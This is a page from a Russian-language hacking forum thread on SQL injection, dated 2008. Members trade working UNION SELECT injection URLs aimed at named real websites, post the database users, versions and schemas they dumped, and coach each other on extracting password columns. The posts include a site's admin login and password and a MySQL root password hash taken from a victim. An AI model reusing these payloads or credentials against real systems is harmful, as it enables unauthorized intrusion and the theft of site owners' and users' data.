FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 490 из 1602

490

Опции темы

Поиск в этой теме

Опции просмотра

03.03.2008, 11:41

SIdoy

Новичок

Регистрация: 19.09.2007

Сообщений: 12

Провел на форуме:
324160

Репутация: 19

www.vetmag.ru

Цитата:

http://www.vetmag.ru/index.php?chp=forum&forumid=2%20and%200%20union%20 select%201,2,3,4,aes_decrypt(aes_encrypt(concat_ws (0x3a,name,login,password,email),1),1),6,7,8,9,10, 11,12,13,14,15%20from%20admin--&act=showmessage&num=261'

http://www.vetmag.ru/admin/
login:vetmag
pass:moromo33

www.vettorg.ru

Цитата:

http://www.vettorg.ru/catalog/item.php?id=977%20and%200%20union%20select%201,2,3 ,concat_ws(0x3a,user_name,user_password,user_email ),5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20ve tgal_users%20limit%201,1--

03.03.2008, 17:32

CaNNabi$

Познающий

Регистрация: 21.01.2008

Сообщений: 85

Провел на форуме:
839509

Репутация: 338

http://www.ve.free-travels.ru/

Код:

http://ve.free-travels.ru/books/item.php?id=0x3127%20union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user(),database(),version()),13,14,15/*

freetravels_db@localhost:freetravels_db:5.0.27-log

http://www.maxilog.su/

Код:

http://www.maxilog.su/see_news.php?storyid=0x363227%20union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user(),database(),version()),11,12,13,14,15,16,17,18,19/*

maxilog1@localhost.localdomain:db_maxilog1:5.0.24-standard

Ну просто так

Код:

http://www.fernando-heitor.de/index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
http://www.dan-werbe.net/index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
http://www.annuairedesecoles.net/index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
http://www.annuairedesecoles.com/index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
http://www.empleopropio.com/empleos/index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

03.03.2008, 19:15

CaNNabi$

Познающий

Регистрация: 21.01.2008

Сообщений: 85

Провел на форуме:
839509

Репутация: 338

Ziggy Marley
Вот ща че то сижу и думаю об этом... (Ну вы меня поняли))) и начал слухать музон Bob Marley и потом че то наткнулся на Ziggy Marley и на его сайт

Ну и сразу нашел инекцию)

Код:

http://ziggymarley.com/comments.php?id=194'%20union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9/*

tuffgong_w@209.68.2.15:tuffgong_main:4.1.20-log
Вот так вот

ббб ; )

03.03.2008, 20:00

Digital Cat

Участник форума

Регистрация: 04.02.2008

Сообщений: 116

Провел на форуме:
1297994

Репутация: 237

Мальчики, хелп. Вот как выудить из бд пароли?

Пока все заканчивалось ошибкой((
http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,user(),database(), 5,6,7,version(),9,10,11,12,13/*

Код:

babykn@localhost 
5.0.45-community
babykn_angel

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
arhiv
category
disttxt
links
news
news_img
others
pages
produkt

03.03.2008, 23:51

neon_fx

Познающий

Регистрация: 22.02.2008

Сообщений: 74

Провел на форуме:
394753

Репутация: 120

Цитата:

Сообщение от Digital Cat

Мальчики, хелп. Вот как выудить из бд пароли?

Пока все заканчивалось ошибкой((
http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,user(),database(), 5,6,7,version(),9,10,11,12,13/*

Код:

babykn@localhost 
5.0.45-community
babykn_angel

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
arhiv
category
disttxt
links
news
news_img
others
pages
produkt

Ну mysql базы там нет, точнее если и есть то она закрыта
а в остальных таблицах ничего интересного
если ты смотриш через INFORMATION_SCHEMA.TABLES
то лучше поройся через таблицу COLUMNS
пример

http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,concat_ws(char(58) ,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME),4,5,6,7,8,9, 10,11,12,13+from+information_schema.COLUMNS+limit+ 10+offset+280/*

03.03.2008, 17:20

Saime

Новичок

Регистрация: 27.02.2008

Сообщений: 19

Провел на форуме:
34487

Репутация: 46

kungfumagazine.com

Цитата:

http://ezine.c/news/index.php?month=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19--

Цитата:

http://ezine.kungfumagazine.com/news/index.php?month=-1%20union%20select%201,2,3,4,concat(user(),0x3a,ve rsion(),0x3a,database()),6,7,8,9,10,11,12,13,14,15 ,16,17,18,19--

root@localhost:4.0.22:kungfu

Цитата:

http://ezine.kungfumagazine.com/news/index.php?month=-1%20union%20select%201,2,3,4,concat(user,0x3a,pass word),6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+m ysql.user--

root:07c02f3e4a89a46b

03.03.2008, 19:50

~~cash$$$~~

Banned

Регистрация: 06.01.2008

Сообщений: 413

Провел на форуме:
1301036

Репутация: 1334

cheap-web-hosting-info.com

Цитата:

http://www.cheap-web-hosting-info.com/hosting_review.php?id=99999+union+select+1,VERSION (),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21/*

VERSION: 4.1.20-max-log Review и 4.1.20-max-log Plans
USER: cheapwe_cheapweb@71.18.216.99 Review и cheapwe_cheapweb@71.18.216.99 Plans
DATABASE: cheapwe_cheapweb Review и cheapwe_cheapweb Plans

yi-hosting.com

Цитата:

http://d390281.h42.yi-hosting.com/book_details.php?id=99999+union+select+1,VERSION() ,3,4,5/*

VERSION: 4.1.22-log
USER: michell_fred@cart.readyserver.net
DATABASE: michell_data

visitrandolphcounty.com

PHP код:


		
			
http://www.visitrandolphcounty.com/shopping.php?id=99999+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11,12,13,14,15,16/*

VERSION: 4.1.20
USER: visitran@localhost
DATABASE: visitrandolph

plaza-shopping.com

Цитата:

http://www.plaza-shopping.com/shop.php?id=99999+union+select+1,2,VERSION(),4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18/*

VERSION: 4.0.27-max-log
USER: plazashopping@linhost193.prod.mesa1.secureserver.n et
DATABASE: plazashopping

03.03.2008, 23:00

BizzyD

Участник форума

Регистрация: 02.06.2007

Сообщений: 210

Провел на форуме:
1172175

Репутация: 252

Код:

http://www.ipoding.com/index.php?catid=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

ipoding@localhost:ipoding_rouge:4.0.21-log

03.03.2008, 23:26

neon_fx

Познающий

Регистрация: 22.02.2008

Сообщений: 74

Провел на форуме:
394753

Репутация: 120

Цитата:

Сообщение от BizzyD

Код:

http://www.ipoding.com/index.php?catid=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

ipoding@localhost:ipoding_rouge:4.0.21-log

http://forum.antichat.ru/showthread.php?p=413203

#10

03.03.2008, 23:33

samarin

Участник форума

Регистрация: 24.02.2008

Сообщений: 136

Провел на форуме:
295283

Репутация: 69

Мазда клуб
http://mazda-club.dn.ua/features/?id=-116+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(V ERSION(),0x71),0x71),6/*
version: 4.1.10a-standard
user: autoclubso_vas66@localhost
database: autoclubso_news
--------------------------------------
Что за форум там, я так и не понял